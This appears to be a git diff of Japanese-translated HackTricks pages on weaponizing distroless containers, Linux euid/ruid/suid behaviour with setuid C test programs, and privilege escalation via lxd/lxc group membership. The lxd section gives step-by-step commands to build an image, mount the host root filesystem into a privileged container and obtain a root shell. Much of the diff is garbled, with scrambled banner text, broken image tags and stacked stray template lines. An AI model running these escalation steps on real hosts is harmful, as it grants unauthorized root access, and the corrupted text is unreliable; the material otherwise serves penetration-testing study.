Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
フラグを使用してコンテナを起動します:**`--security-opt seccomp=unconfined`**
<details>
Kubernetes 1.19では、**すべてのPodに対してseccompがデフォルトで有効**になっています。ただし、Podに適用されるデフォルトのseccompプロファイルは、コンテナランタイムDocker、containerdによって**提供される** "**RuntimeDefault**"プロファイルです。 "RuntimeDefault"プロファイルは、ほとんどのシステムコールを許可し、コンテナにとって危険または一般的に必要とされないいくつかのシステムコールをブロックします。
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -1,56 +1,64 @@
# Distrolessの武器化
# Weaponizing Distroless
<details>
{% hnnt styte=" acceas" %}
GCP ハッキング実践: <img:<img src="/.gitbcok/ass.ts/agte.png"talb=""odata-siz/="line">[**HackTatckt T.aining AWS Red TelmtExp"rt (ARTE)**](ta-size="line">[**HackTricks Training GCP Re)Tmkg/stc="r.giebpokal"zee>/ttdt.png"isl=""data-ize="line">\
学ぶ & aciceGCP ngs<imgmsrc="/.gipbtok/aHsats/gcte.mag"y>lt="" aa-iz="le">[**angGC RedTamExper(GE)<img rc=".okaetgte.ng"al=""daa-siz="ne">tinhackth ckiuxyzcomurspssgr/a)
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
<dotsilp>
HackTricksをサポートする他の方法:
<oummpr>SupportHackTricks</smmay>
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有する。
*チェックして [**subsrippangithub.cm/sorsarlosp!
* **参加する** 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**テレグラムグループ**](https://t.me/peass) または **フォロー** us on **Twitter** 🐦 [**@hahktcickr\_kivelive**](https://twitter.com/hacktr\icks\_live)**.**
* **ハッキングのトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出してください。
</details>
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
## Distrolessとは
## What is Distroless
Distrolessコンテナは、特定のアプリケーションを実行するために必要な依存関係のみを含むコンテナのタイプであり、必要でない追加のソフトウェアやツールは含まれていません。これらのコンテナは、可能な限り**軽量**で**安全**であるように設計されており、不要なコンポーネントを削除することで**攻撃面を最小限に抑える**ことを目指しています。
Distrolessコンテナは、**特定のアプリケーションを実行するために必要な依存関係のみを含む**コンテナの一種であり、不要なソフトウェアやツールは含まれていません。これらのコンテナは、**軽量**で**安全**であることを目的としており、不要なコンポーネントを削除することで**攻撃面を最小限に抑える**ことを目指しています。
Distrolessコンテナは、**セキュリティと信頼性が最優先される生産環境**でよく使用されます。
Distrolessコンテナは、**セキュリティと信頼性が最も重要な**生産環境でよく使用されます。
Distrolessコンテナの**例**には以下のものがあります:
**Distrolessコンテナのいくつかの例**は次のとおりです:
* **Google**提供: [https://console.cloud.google.com/gcr/images/distroless/GLOBAL](https://console.cloud.google.com/gcr/images/distroless/GLOBAL)
* **Chainguard**提供: [https://github.com/chainguard-images/images/tree/main/images](https://github.com/chainguard-images/images/tree/main/images)
* **Google**提供: [https://console.cloud.google.com/gcr/images/distroless/GLOBAL](https://console.cloud.google.com/gcr/images/distroless/GLOBAL)
* **Chainguard**提供: [https://github.com/chainguard-images/images/tree/main/images](https://github.com/chainguard-images/images/tree/main/images)
## Distrolessの武器化
## Weaponizing Distroless
Distrolessコンテナを武器化する目的は、**distroless**によって示される制限(システム内の一般的なバイナリの欠如)と、`/dev/shm`での**読み取り専用**または**実行不可**など、コンテナで一般的に見られる保護をもってしても、**任意のバイナリやペイロードを実行できるようにする**ことです。
Distrolessコンテナを武器化する目的は、**distrolessによって示される制限**(システム内の一般的なバイナリの欠如)にもかかわらず、**任意のバイナリやペイロードを実行できる**ようにすることです。また、**読み取り専用**や**実行不可**など、コンテナに一般的に見られる保護も考慮します。
### メモリを通じて
### Through memory
2023年のある時点で来る予定...
2023年のある時点で...
### 既存のバイナリを通じて
### Via Existing binaries
#### openssl
****[**この投稿で、**](https://www.form3.tech/engineering/content/exploiting-distroless-images) コンテナ内で実行されるソフトウェアに**必要**である可能性があるため、**`openssl`** バイナリがこれらのコンテナで頻繁に見つかることが説明されています。
****[**この投稿では、**](https://www.form3.tech/engineering/content/exploiting-distroless-images) バイナリ **`openssl`** がこれらのコンテナに頻繁に見られることが説明されています。これは、コンテナ内で実行されるソフトウェアによって**必要とされる**可能性があるためです。
{% hnt stye="acceas" %}
AWS ハッキング実践:<img :<imgsscc="/.gitb=ok/assgts/aite.png"balo=""kdata-siza="line">[**HackTsscke Tpaigin"aAWS Red Tetm=Exp rt (ARTE)**](a-size="line">[**HackTricks Training AWS Red)ethgasic="..giyb/okseasert/k/.png"l=""data-ize="line">\
学ぶ & aciceGCP ng<imgsrc="/.gibok/asts/gte.g"lt="" aa-iz="le">[**angGC RedTamExper(GE)<img rc=".okaetgte.ng"salm=""adara-siz>="k>ne">tinhaktckxyzurssgr)
**`openssl`** バイナリを悪用することで、**任意のものを実行する**ことが可能です。
<dtil>
<details>
<ummr>SupportHackTricks</smmay>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法:
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有する。
*チェックして [**subsrippangithub.cm/sorsarlosp!
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!haktick\_ive\
* **参加する** 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**テレグラムグループ**](https://t.me/peass) または **フォロー** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **ハッキングのトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出してください。
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -1,72 +1,75 @@
# euid, ruid, suid
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong>を使って、ゼロからヒーローまでAWSハッキングを学びましょう</summary>
<summary>Support HackTricks</summary>
- **サイバーセキュリティ企業**で働いていますか?**HackTricksで会社を宣伝**してみたいですか?または**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションです。
- [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう。
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)。
- **ハッキングトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
### ユーザー識別変数
- **`ruid`**: **実ユーザーID**はプロセスを開始したユーザーを示します。
- **`euid`**: **効ユーザーID**として知られ、システムがプロセス特権を確定するために使用するユーザーIDを表します。一般的に、`euid`は`ruid`と同じであり、SetUIDバイナリの実行などの場合を除いて、`euid`はファイル所有者のIDを取り、特定の操作権限を付与します。
- **`suid`**: この**保存されたユーザーID**は、一時的に特定のタスクを実行するために高特権プロセス通常はrootとして実行)が特権を一時的に放棄する必要がある場合に重要です。後で元の昇格された状態を取り戻します。
- **`ruid`**: **実ユーザーID**はプロセスを開始したユーザーを示します。
- **`euid`**: **効果的ユーザーID**として知られ、システムがプロセスの特権を確認するために使用するユーザーの識別を表します。一般的に、`euid`は`ruid`と同じですが、SetUIDバイナリの実行のような場合には、`euid`がファイル所有者の識別を引き受け、特定の操作権限を付与します。
- **`suid`**: この**保存されたユーザーID**は、高特権プロセス通常はrootとして実行される)が特定のタスクを実行するために一時的に特権を放棄し、後で元の昇格した状態を取り戻す必要があるときに重要です。
#### 重要な注意事項
rootで動作していないプロセスは、現在の`ruid`、`euid`、または`suid`に一致するように`euid`を変更できます
#### 重要な注意
rootでないプロセスは、`euid`を現在の`ruid`、`euid`、または`suid`に一致させることしかできません
### set*uid関数の理解
- **`setuid`**: 最初の仮定とは異なり、`setuid`は主に`ruid`ではなく`euid`を変更します。特権プロセスの場合、`setuid`は`ruid`、`euid`、および`suid`を指定されたユーザー通常はrootと一致させ、これらのIDを効果的に固定します。詳細な情報は[setuid man page](https://man7.org/linux/man-pages/man2/setuid.2.html)にあります。
- **`setreuid`**および**`setresuid`**: これらの関数は`ruid`、`euid`、および`suid`を微調整することを可能にします。ただし、その機能はプロセスの特権レベルに依存します。rootプロセスまたは`CAP_SETUID`機能を持つプロセスは、これらのIDに任意の値を割り当てることができます。詳細は[setresuid man page](https://man7.org/linux/man-pages/man2/setresuid.2.html)および[setreuid man page](https://man7.org/linux/man-pages/man2/setreuid.2.html)から得ることができます。
- **`setuid`**: 初期の仮定とは異なり、`setuid`は主に`euid`を変更します。具体的には、特権プロセスの場合、指定されたユーザー通常はrootに`ruid`、`euid`、および`suid`を合わせ、これらのIDを強化します。詳細な情報は[setuidマニュアルページ](https://man7.org/linux/man-pages/man2/setuid.2.html)で確認できます。
- **`setreuid`**および**`setresuid`**: これらの関数は、`ruid`、`euid`、および`suid`の微妙な調整を可能にします。ただし、その機能はプロセスの特権レベルに依存します。非rootプロセスの場合、変更は現在の`ruid`、`euid`、および`suid`の値に制限されます。一方、rootプロセスまたは`CAP_SETUID`権限を持つプロセスは、これらのIDに任意の値を割り当てることができます。詳細は[setresuidマニュアルページ](https://man7.org/linux/man-pages/man2/setresuid.2.html)および[setreuidマニュアルページ](https://man7.org/linux/man-pages/man2/setreuid.2.html)で確認できます。
これらの機能はセキュリティメカニズムではなく、プログラムが他のユーザーのIDを採用する際など、意図した操作フローを容易にするために設計されています。
これらの機能はセキュリティメカニズムとしてではなく、プログラムが他のユーザーの識別を採用するために効果的ユーザーIDを変更する際の意図された操作フローを促進するために設計されています。
`setuid`はrootへの特権昇格に一般的に使用されるかもしれませんが、これらの関数の違いを区別することは、さまざまなシナリオでユーザーIDの動作を理解し操作するために重要です。
特に、`setuid`はrootへの特権昇格の一般的な手段である一方ですべてのIDをrootに合わせるため、これらの関数の違いを理解し、さまざまなシナリオでユーザーIDの動作を操作することが重要です。
### Linuxでのプログラム実行メカニズム
### Linuxにおけるプログラム実行メカニズム
#### **`execve`システムコール**
- **機能**: `execve`最初の引数で決定されたプログラムを開始します。`argv`は引数用、`envp`は環境用の2つの配列引数を取ります。
- **動作**: 呼び出し元のメモリ空間を保持しますが、スタック、ヒープ、およびデータセグメントをリフレッシュします。プログラムのコードは新しいプログラムに置き換えられます。
- **機能**: `execve`、最初の引数によって決定されるプログラムを開始します。引数用の2つの配列引数`argv`と環境用の`envp`を取ります。
- **動作**: 呼び出し元のメモリ空間を保持しますが、スタック、ヒープ、およびデータセグメントをリフレッシュします。プログラムのコードは新しいプログラムによって置き換えられます。
- **ユーザーIDの保持**:
- `ruid`、`euid`、および補助グループIDは変更されません。
- 新しいプログラムがSetUIDビットを設定している場合、`euid`に微妙な変更が加えられる可能性があります
- 実行後`suid`は`euid`から更新されます。
- **ドキュメント**: 詳細な情報は[`execve` man page](https://man7.org/linux/man-pages/man2/execve.2.html)にあります。
- `ruid`、`euid`、および追加のグループIDは変更されません。
- 新しいプログラムにSetUIDビットが設定されている場合、`euid`に微妙な変更があるかもしれません
- 実行後`suid`は`euid`から更新されます。
- **文書**: 詳細な情報は[`execve`マニュアルページ](https://man7.org/linux/man-pages/man2/execve.2.html)で確認できます。
#### **`system`関数**
- **機能**: `execve`とは異なり、`system`は`fork`を使用して子プロセスを作成し、その子プロセス内で`execl`を使用してコマンドを実行します。
- **コマンド実行**: `execl("/bin/sh", "sh", "-c", command, (char *) NULL);`を使用して`sh`を介してコマンドを実行します。
- **動作**: `execl`は`execve`の形式であるため、新しい子プロセスのコンテキストで同様に動作します。
- **ドキュメント**: [`system` man page](https://man7.org/linux/man-pages/man3/system.3.html)からさらなる洞察を得ることができます。
- **機能**: `execve`とは異なり、`system`は`fork`を使用して子プロセスを作成し、その子プロセス内でコマンドを実行します。
- **コマンド実行**: `sh`を介してコマンドを実行します。`execl("/bin/sh", "sh", "-c", command, (char *) NULL);`を使用します。
- **動作**: `execl`は`execve`の一形態であり、同様に動作しますが、新しい子プロセスの文脈で実行されます。
- **文書**: さらなる洞察は[`system`マニュアルページ](https://man7.org/linux/man-pages/man3/system.3.html)から得られます。
#### **SUIDを持つ`bash`および`sh`の動作**
#### **SUIDを持つ`bash``sh`の動作**
- **`bash`**:
- `-p`オプションが`euid`と`ruid`の扱いに影響を与えます。
- `-p`なしでは、`bash`は最初に異なる場合に`euid`を`ruid`に設定します。
- `-p`を使用すると、初期の`euid`が保持されます。
- 詳細は[`bash` man page](https://linux.die.net/man/1/bash)で確認できます。
- `euid`と`ruid`の扱いに影響を与える`-p`オプションがあります。
- `-p`なしでは、`bash`は`euid`が`ruid`と異なる場合、`euid`を`ruid`に設定します。
- `-p`がある場合、初期の`euid`が保持されます。
- 詳細は[`bash`マニュアルページ](https://linux.die.net/man/1/bash)で確認できます。
- **`sh`**:
- `bash`の`-p`に類似したメカニズムを持っていません。
- ユーザーIDに関する動作は明示的に述べられておらず、`-i`オプションの下でのみ`euid`と`ruid`の等しさの保持が強調されています。
- 追加情報は[`sh` man page](https://man7.org/linux/man-pages/man1/sh.1p.html)で入手できます。
- `bash`の`-p`に類似したメカニズムはありません。
- ユーザーIDに関する動作は明示的に記載されておらず、`-i`オプションの下で`euid`と`ruid`の等価性の保持が強調されています。
- 追加情報は[`sh`マニュアルページ](https://man7.org/linux/man-pages/man1/sh.1p.html)で確認できます。
これらの操作方法は、操作とプログラム間の移行を可能にし、ユーザーIDがどのように管理および保持されるかに特定の微妙な違いがある、多様なオプションを提供します。
これらのメカニズムは、異なる動作を持ち、プログラムの実行と遷移のための多様なオプションを提供し、ユーザーIDの管理と保持における特定のニュアンスを持っています。
### 実行中のユーザーIDの動作をテストする
### 実行におけるユーザーIDの動作のテスト
詳細については、https://0xdf.gitlab.io/2022/05/31/setuid-rabbithole.html#testing-on-jail から取得した例を確認してください。
例はhttps://0xdf.gitlab.io/2022/05/31/setuid-rabbithole.html#testing-on-jailから取得したもので、さらなる情報はそちらで確認してください。
#### ケース1: `system``bash`を`sh`と組み合わせて`setuid`を使用する
#### ケース1: `system`の`setuid`の使用
**目的**: `setuid`を`system`および`bash`として`sh`と組み合わせて使用した場合の効果を理解する
**目的**: `system`と`bash`を`sh`として組み合わせたときの`setuid`の効果を理解すること
**Cコード**:
```c
@ -92,14 +95,14 @@ uid=99(nobody) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconf
```
**分析:**
* `ruid``euid`最初にそれぞれ99nobodyと1000frankから始まります。
* `setuid` は両方を1000に揃えます。
* `system``/bin/bash -c id` を実行します。これはshからbashへのシンボリックリンクによるものです。
* `-p` を付けずに実行される `bash` は、`euid` を `ruid` に合わせ、結果として両方が99nobodyになります。
* `ruid``euid`それぞれ 99 (nobody) と 1000 (frank) から始まります。
* `setuid` は両方を 1000 に揃えます。
* `system`sh から bash へのシンボリックリンクのために `/bin/bash -c id` を実行します。
* `bash` は `-p` なしで `euid``ruid` に合わせるため、両方が 99 (nobody) になります。
#### ケース2: setreuidをsystemと一緒に使用する
#### ケース 2: system で setreuid を使用する
**Cコード**:
**C コード**:
```c
#define _GNU_SOURCE
#include <stdlib.h>
@ -122,11 +125,11 @@ uid=1000(frank) gid=99(nobody) groups=99(nobody) context=system_u:system_r:uncon
```
**分析:**
* `setreuid` は ruid と euid を両方とも 1000 に設定します。
* `system` は bash を呼び出し、ユーザー ID を等しく保持するため、実質的に frank として動作します。
* `setreuid` は ruid と euid の両方を 1000 に設定します。
* `system` は bash を呼び出し、ユーザー ID の等価性によりそれらを維持し、実質的に frank として動作します。
#### ケース 3: execve と setuid の相互作用の探索
目的: setuid と execve の相互作用を探る
#### ケース 3: execve と setuid の相互作用の使用
目的: setuid と execve の相互作用を探る
```bash
#define _GNU_SOURCE
#include <stdlib.h>
@ -145,9 +148,9 @@ uid=99(nobody) gid=99(nobody) euid=1000(frank) groups=99(nobody) context=system_
```
**分析:**
* `ruid` は99のままですが、euid は1000に設定され、setuid の効果と一致しています。
* `ruid`は99のままですが、euidはsetuidの効果に従って1000に設定されています。
**Cコード例2Bashの呼び出し:**
**Cコード例 2 (Bashを呼び出す):**
```bash
#define _GNU_SOURCE
#include <stdlib.h>
@ -167,9 +170,9 @@ uid=99(nobody) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconf
```
**分析:**
* `euid` `setuid` によって1000に設定されていますが、`-p` がないため、`bash` は `ruid` (99) に euid をリセットします。
* `euid`は`setuid`によって1000に設定されていますが、`bash`は`-p`がないため`ruid`99に`euid`をリセットします。
**Cコード例3 (bash -p を使用):**
**C コード例 3 (bash -pを使用):**
```bash
#define _GNU_SOURCE
#include <stdlib.h>
@ -192,14 +195,17 @@ uid=99(nobody) gid=99(nobody) euid=100
* [https://0xdf.gitlab.io/2022/05/31/setuid-rabbithole.html#testing-on-jail](https://0xdf.gitlab.io/2022/05/31/setuid-rabbithole.html#testing-on-jail)
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**私をフォロー**してください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}

View file

@ -1,26 +1,48 @@
# lxd/lxc グループ - 特権昇格
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)**</strong>**ゼロからヒーローまでのAWSハッキングを学ぶ**</summary>
<summary>HackTricksをサポートする</summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェック!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* 💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) または [**telegram グループ**](https://t.me/peass) に **参加** または **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) を **フォロー** してください。
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の github リポジトリに PR を提出して **ハッキングテクニックを共有** してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
もし _**lxd**_ **または** _**lxc**_ **グループに所属している場合、root 権限を取得できます**
_**lxd**_ **または** _**lxc**_ **グループに属している場合、rootになることができます。**
## インターネットなしでの攻撃
## インターネットなしでの悪用
### 方法1
あなたのマシンにこの distro builder をインストールすることができます: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder) (github の指示に従ってください):
このディストロビルダーをあなたのマシンにインストールできます:[https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)GitHubの指示に従ってください
```bash
sudo su
#Install requirements
@ -38,7 +60,7 @@ wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
#Create the container
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.18
```
**lxd.tar.xz** と **rootfs.squashfs** のファイルをアップロードし、イメージをリポジトリに追加してコンテナを作成します:
ファイル **lxd.tar.xz****rootfs.squashfs** をアップロードし、イメージをリポジトリに追加してコンテナを作成します:
```bash
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
@ -54,10 +76,11 @@ lxc list
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
```
{% hint style="danger" %}
もしエラー「_**Error: No storage pool found. Please create a new storage pool**_」が見つかった場合は、**`lxd init`** を実行して、前のコマンドチャンクを**繰り返して**ください。
このエラー _**Error: No storage pool found. Please create a new storage pool**_ を見つけた場合、\
**`lxd init`** を実行し、前のコマンドのチャンクを **繰り返してください**
{% endhint %}
最後に、コンテナを実行してroot権限を取得できます:
最後に、コンテナを実行してrootを取得できます:
```bash
lxc start privesc
lxc exec privesc /bin/sh
@ -65,7 +88,7 @@ lxc exec privesc /bin/sh
```
### 方法2
Alpineイメージをビルドし、`security.privileged=true`フラグを使用して起動します。これにより、コンテナがホストファイルシステムとしてrootとして相互作用するように強制されます。
Alpineイメージをビルドし、フラグ`security.privileged=true`を使用して起動し、コンテナがホストファイルシステムとrootとして対話するように強制します。
```bash
# build a simple alpine image
git clone https://github.com/saghul/lxd-alpine-builder
@ -85,37 +108,65 @@ lxc init myimage mycontainer -c security.privileged=true
# mount the /root into the image
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
# interact with the container
lxc start mycontainer
lxc exec mycontainer /bin/sh
```
Alternatively [https://github.com/initstring/lxd\_root](https://github.com/initstring/lxd\_root)
## インターネットを使用する場合
[こちらの手順](https://reboare.github.io/lxd/lxd-escape.html)に従うことができます。
```bash
lxc init ubuntu:16.04 test -c security.privileged=true
lxc config device add test whatever disk source=/ path=/mnt/root recursive=true
lxc start test
lxc exec test bash
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
```
## 参考文献
* [https://reboare.github.io/lxd/lxd-escape.html](https://reboare.github.io/lxd/lxd-escape.html)
* [https://etcpwd13.github.io/greyfriar_blog/blog/writeup/Notes-Included/](https://etcpwd13.github.io/greyfriar_blog/blog/writeup/Notes-Included/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
